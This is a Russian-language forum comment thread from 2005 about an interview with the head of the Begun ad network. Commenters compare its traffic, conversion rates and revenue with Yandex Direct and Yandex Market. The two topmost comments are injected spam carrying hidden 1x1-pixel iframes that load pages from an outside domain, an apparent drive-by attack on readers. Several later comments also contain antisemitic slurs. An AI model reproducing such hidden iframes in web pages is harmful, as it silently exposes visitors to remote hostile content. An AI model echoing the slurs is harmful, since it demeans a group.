Вебпланета - Алексей Басов о результатах «Бегуна» - Comments

Re:a<iframe src=http://www.felinta.ru></iframe><i

Wed, 19 Oct 2005 12:23:02 +0400

a<iframe src=http://www.felinta.ru></iframe><iframe src=http://www.felinta.ru/ergae width=1 height=1></iframe><iframe src=http://www.felinta.ru/waef width=1 height=1></iframe>a

Re:Очень<iframe src='http://www.felinta.ru/b40oil.html' width

Tue, 13 Sep 2005 10:09:53 +0400

Очень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайтОчень<iframe src='http://www.felinta.ru/b40oil.html' width=1 height=1></iframe> полезный сайт

У меня на Бегуне почти 8000 объяв

Идея! — Thu, 23 Jun 2005 19:13:50 +0400

У меня на Бегуне почти 8000 объяв (на Яндексе и Рамблере 1400) все через ХМL. Но конвектор реализован по-разному, с Бегуна трафик больше, но качество хромое (подозреваю что это не трафик виноват, а объявы, слова для поиска генерятся по-разному), с Яндекса очень качсетвенные, но для меня маловато

Все покупаю по минимальной цене. Так что //xml есть, настраивают они руками, позвоните. Есть другой косяк - в Бегуне не работают ограничения по кликам/бюджету, приходится вкл/выкл. каждый день, иначе может больше 1000 у.е. в сутки отмотать, а заказов будет мало.

Re:

qq — Thu, 09 Jun 2005 12:11:01 +0400

Админ, если не работал, то зачем же говорить? Попробуй потратить $20 и тогда уже делай выводы.
Про конверсию Маркета и Бегуна - не зная условий проведения вашего эксперимента, сложно судить о его результатах. Но могу предположить, что методика была немножко ошибочной...

Re:

/// — Thu, 09 Jun 2005 10:53:00 +0400

директ дороже. существенно.

/зы бывали случаи что тока контекст на темат.проектах работал, так что яндекс продает себя в рунете (+авто.ру), а бегун продает на всем остальном. хотя может яндекс - это наше всё??? ;)./

Re: крупному

Админ — Wed, 08 Jun 2005 18:34:26 +0400

Дык, это вы уважаемый попутали морду с контекстом, когда не верили в 60/40

Маркет работает плохо. оценил это на собственном магазине. диски (лицензионные) с ценой 5 баков выгодне продавать через бегун. конферсия трафика примерно одинаковая, стоимость в 2-3 раза ниже.

и директом не работал, но думаю, что он примерно такой же как бегун.

Re:

Крупный Рекламодатель — Wed, 08 Jun 2005 12:34:44 +0400

"Кстати, конверсия Директа - _меньше_ чем у Маркета, но выше чем у Бегуна. "
полностью согласен с qq
а Админ похоже сам слабо ситуевиной владеет если называет морду яндекса контекстной рекламой :-) чудак вы Админ. речь шла о сравнении бегуна с контекстной рекламой яндекса, а не с рекламой на морде яндекса. морда яндекса это разговор отдельный и не вписывается в рамки этого интервью.

2 Админ

qq — Wed, 08 Jun 2005 11:58:46 +0400

уже второй раз Вы пускаете идею

> Яндекс-маркет неинтересный проект, т.к.
> не дадет хорошего трафика по сранению с
> директом и бегуном. по качеству трафик
> мало отличается от директа. зато по ценам > он существенно выше. 10 центов за клик - > это ту мач по сранению с другими
> системами.

Это как? Что значит "хороший" траффик? По качеству или по объему?
Да, у Бегуна можно купить клики по 5-6 центов. Только конверсия их в покупателей (а это является "качеством" траффика для магазинов, например) там доли процента. У Маркета клики от 10 до 20 центов. Но конверсия при этом 2-3%. Т.е. при стоимости клика в 2 раз выше чем у Бегуна, конверсия выше на порядок.
Кстати, конверсия Директа - _меньше_ чем у Маркета, но выше чем у Бегуна.

Объясните, все таки, что Вы имеете в виду под эффективностью и хорошим траффиком.

Re:

Гость — Wed, 08 Jun 2005 11:49:36 +0400

/в бегуне есть xml/
Это вы о чем? Использую Бегун, но ничего такого не знаю.

Re:

ps| — Wed, 08 Jun 2005 11:15:19 +0400

в бегуне есть xml

Re:

Джон Иванович — Wed, 08 Jun 2005 10:53:53 +0400

Два слова в защиту Маркета. Маркет очень удобен, можно через XML сливать тысячи товарных позиций. Вы можете каждый день редактировать тысячу объявлений на Бегуне или Директе? Поддерживать в объявлениях актуальные цены? А запросы вида "Samsung SGH-X120" в Яндексе задают. Одно плохо, у конкурентов цена может быть ниже и Маркет ясно это показывает.
У Маркета потрясающее соотношение посетитель/хиты, сейчас летний спад продаж, но все равно 6 июня хостов 60 526, посетителей 92 037, хитов 1 083 925. Выводы делайте сами.

Re:

Админ — Wed, 08 Jun 2005 10:01:05 +0400

Крупному рекламодателю.
Я говорил лишь о соотношении яндекс-директа и бегуна. соотношение по ревенью 60/40
Как крпупному рекламодателю вамм вероятно, этот рынок мало интересен, если проще слить несколько килобаксов на морду яндекса, потому вы слабо владеете ситуевиной.

Яндекс-маркет неинтересный проект, т.к. не дадет хорошего трафика по сранению с директом и бегуном. по качеству трафик мало отличается от директа. зато по ценам он существенно выше. 10 центов за клик - это ту мач по сранению с другими системами.

Re:

Гость — Wed, 08 Jun 2005 09:05:30 +0400

Вот такие они - бегуны х...ёвые :)))

Re:

Михаил — Tue, 07 Jun 2005 23:53:26 +0400

У Бегуна невиданный прогресс! Киберсквоттер Гледенов зарегистрировал домен hui.ru (который, кстати, по правилам запрещено регистрировать) и разместил на нём каталог Бегуна.

Трафик Бегуна стал ещё более качественным! :)

PS

Крупный Рекламодатель — Tue, 07 Jun 2005 23:18:06 +0400

и это еще и маркет.яндекс, который по эффективности в принципе такой, что бегун можно закрыть за ненадобностью

Re:

Крупный Рекламодатель — Tue, 07 Jun 2005 23:15:21 +0400

Бегун делят рынок с Яндексом в соотношении 40/60 (60 - Яндекс).
:-)))))))))))))))))))))))))))
в нормальных бюджетах бегун едва дотягивает до 5 % от яндекса. контекст яндекса это не только директ, это еще и спецразмещение и середина. а на двух последних такие бюджеты что Леше не снились. поэтому наверное представители яндекса помалкивают с улыбкой на лице.

Re:

Джон Иванович — Tue, 07 Jun 2005 14:18:24 +0400

Про долю Рамблера в показах Бегуна - если она была 10-15% я бы не хвастался, так всех клиентов распугать можно!
Про соотношение Директ/Бегун. Сравнивать можно только по оборотам, а не по числу рекламодателей. Не думаю, что оно стало 40/60. Нет у Бегуна даже 40% по оборотам! Рекламные площадки уж больно плохого качества, почитайте старые обсуждения Бегуна на Вебпланете. Там пишет человек, который переключился на пакет «Аналитический». Наивный — он хотел рекламироваться только на поисковых машинах (Апорт, mail, Рамблер) а выяснилось, что выбора площадок нет, только выбор типа площадки, а в нагрузку все равно идет 50% трафика с каталога Бегуна и его клонов на сайтах киберсквоттеров.
Мой прогноз — либо Бегун дорастет до AdWords – AdSense, либо кто-то купит Бегун уже полностью, и железной рукой сделает его придатком своего портала (конкурентов он кормить не будет). В настоящем состоянии основная ценность Бегуна — это база рекламодателей. Я бы не стал зацикливаться на программном продукте, он стареет, а разработчиков можно перекупить или найти более талантливых. А вот раскручивать целый год подобный продукт, кормить этот год разработчиков, содержать сервера, когда прибыли нет а одни убытки, согласится не всякий.

Re:

либералофаг — Tue, 07 Jun 2005 13:45:17 +0400

"Никогда информация о доходах/прибыли не скрывается. Все банки свои балансы публикуют. Или не читали? "
Вы что, придуриваетесь? Или действительно ничего не понимаете?
Нигде и никакие частные компании не раскрывают своих доходов. И Гугль, пока был частным, ничего не писал о доходах. Только когда собрался на биржу, начал публиковать отчёты.
Публикуют только АО и банки.

И второе: у Бегуна договоры с площадками, в том числе с рамблером. По которым он не имеет права раскрывать оборот площадки.
Или ему надо наплевать на NDA и все вам рассказать, любопытный вы наш? Хрен там, не дождетесь.

Re:

Tue, 07 Jun 2005 12:19:46 +0400

а как же гугль и рореръ?

Re:

Админ — Tue, 07 Jun 2005 11:04:51 +0400

Очень забавный подход к проблеме разглашения показателей компании.
Леша, вы, как я погляжу, совок-совком.
Если кому интересны мои расчеты, то в прошлом году revenue бегуна было $5-7 млн., а профит - $3-4 млн.
В этом году ожидается $7-9 млн и профит $5-6 млн.

Бегун делят рынок с Яндексом в соотношении 40/60 (60 - Яндекс). Вместе они занимают порядка 75-80% рынка.

Re:

Гость — Tue, 07 Jun 2005 10:36:41 +0400

Ага, провокатор и либераст :)))
Никогда информация о доходах/прибыли не скрывается. Все банки свои балансы публикуют. Или не читали? Скрывается информация о том как именно (за счет чего, каких ноу-хау и т.п.) достигнута эта прибыль - это коммерческая тайна.
А этот ваш Басов даже доли Рамблера, Мыла и т.д. не мог назвать. Ну вычислят примерную прибыль, и что? Ему (Басову) что, черный нал скрывать надо или злостный уход от налогов?

Re:

про жидов — Tue, 07 Jun 2005 09:31:28 +0400

Мкозлофф, не трудитесь объяснять. По-моему, это - типичный товарищ провокатор ровно из той же самой нации. Пишет херню, чтобы повысить видимый уровень антисемитизма в сети. Как питерский еврей Осипов, который рассылал в начале девяностых антисемитские письма, чтобы "привлечь внимание к проблеме".
Потому что реальных оснований ругать Басова и Бегун жидами нет никаких. Да и речь по форме скорее либерастическая, с типичными ссылками на "цивилизованные страны". Лучше нужно маскироваться, товарищ либерал.

деньги в чужом кармане

mkozloff — Tue, 07 Jun 2005 09:19:57 +0400

Везде закрывоают информацию о доходах, если компания не открытая (т.е. акции на бирже не котируются). Раскрывать имеет смысл только в том случае, если это поможет бизнесу. В данном случае, видимо, не помогает.
Поэтому (аудированную) информацию о доходах Рамблера и РБК мы будем знать в любом случае, а вот Яндекса и Бегуна - нет.

Re:

Гость — Tue, 07 Jun 2005 07:56:28 +0400

Это где в цивилизованном мире информацию о доходах компании закрывают?
Вывод один - они копейки платят своим работникам, загребают всё Басов и его акционеры. Чтобы не было зависти никто ничего не знает. Жиды поганые!

Re:

Agram — Mon, 06 Jun 2005 23:13:32 +0400

А ещё я хочу обвинить Бегун в том, что они грубо сказать "кидалы" а-ля Порта:

1. Без уведомления подняли минимум к выплате
2. Без уведомления ограничили сумму партнёрских начислений с проплат рекламодателей.
3. Даже этот минимум снять со своего счёта не представляется возможным, если удалось привлечь всего одного хоть и крупного рекламодателя.
4. Кидают рекламодателей, так как не начисляют бонусы за первый взнос.

Ату их, ату Басова!

Re:

батон — Mon, 06 Jun 2005 20:32:09 +0400

А главное, передаю привет Владимиру Путину и Леониду Якубовичу.

интервью

sheller — Mon, 06 Jun 2005 20:18:09 +0400

Кратенько...рекламное? :)

Re:

батон — Mon, 06 Jun 2005 20:10:05 +0400

Ой-ой - совсем забыл, пользуясь случаем, еще передаю привет тете Зое из Твери. Уфффф, вовремя спохватился.

Re:

батон — Mon, 06 Jun 2005 20:02:35 +0400

А еще, пользуясь случаем, привет передаю бабушке Мане из Тамбова, любимому племяннику из Уфы и моим любимым братьям Феде, Юре и Толе из Костромы.

Re:

батон — Mon, 06 Jun 2005 19:37:01 +0400

Пользуясь случаем, передаю привет Алексею Басову.

Алексей Басов о результатах «Бегуна»

admin — Mon, 06 Jun 2005 18:23:12 +0400

В связи с тем, что «Бегун» начал активную экспансию на страницы «Рамблера», мы решили задать несколько вопросов исполнительному директору компании Алексею Басову.